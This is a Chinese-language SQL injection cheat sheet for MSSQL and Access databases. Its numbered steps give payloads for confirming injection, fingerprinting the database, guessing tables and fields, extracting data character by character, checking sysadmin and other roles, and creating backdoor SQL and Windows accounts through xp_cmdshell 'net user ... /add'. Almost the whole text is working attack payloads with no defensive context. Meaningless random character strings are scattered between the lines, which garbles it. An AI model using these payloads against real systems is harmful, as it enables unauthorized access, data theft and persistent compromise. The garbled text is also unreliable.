1.判断是否有注入;and 1=1 ;and 1=2 g
pN{1
2.初步判断是否是mssql ;and user>0 ZS@Cd9*
h9,ui^#d$
3.注入参数是字符'and [查询条件] and ''=' {%K(O$H#
{[
j+y
4.搜索时没过滤参数的'and [查询条件] and '%25'=' AK/_^?zA s
xA-O?s"CY
5.判断数据库系统 ~7tG%{t%
t7#C&B
;and (select count(*) from sysobjects)>0 mssql
2L~[dn.s
VemgG)\
;and (select count(*) from msysobjects)>0 access fT-yY`
e5_:15%R\
tc%?{W\
}>\+eG
6.猜数据库 ;and (select Count(*) from [数据库名])>0 %G& Zm$u=
}kaU0 P
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 =X?jId{
s5X .(;+
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 \7QAk4I~
R <+K&_
9.(1)猜字段的ascii值(access) opK=Z
Ldnw1xy
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2-9'zN0u
]urrAIK
(2)猜字段的ascii值(mssql) ^d! (8vh
YPraf$
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 +SGM3tY
85P7I=`*d
10.测试权限结构(mssql) G'/36M@
!A(*?0`
oe$Y=`
$2=-Q/lM
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Nb2]}; O
ssv4#8p3
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6>! ;g'k
ppt`5F O
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- R^Wed
sEj?,1jk
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- b$kCyOg
?d)I!x,;;
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- J+3PUfg>@R
20G..>zW
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- \Lxsg!wtJ
Y]ML-smN
;and 1=(select IS_MEMBER('db_owner'));-- Sq,ZzMw
s7?Q[vN
t1,sG8Z
LHjGlBy
11.添加mssql和系统的帐户 Y4]USU!PA
zK`z*\
;exec master.dbo.sp_addlogin username;-- \K+LKa)
;exec master.dbo.sp_password null,username,password;-- }v[*V
z\Vu`Yz
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^zPa^lo-
;Ub;AqY
;exec master.dbo.xp_cmdshell 'net user username password u%FG%
j?C
&h.E
B
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ^NB@wuf7
"wi=aV9j
;exec master.dbo.xp_cmdshell 'net user username password /add';-- )J&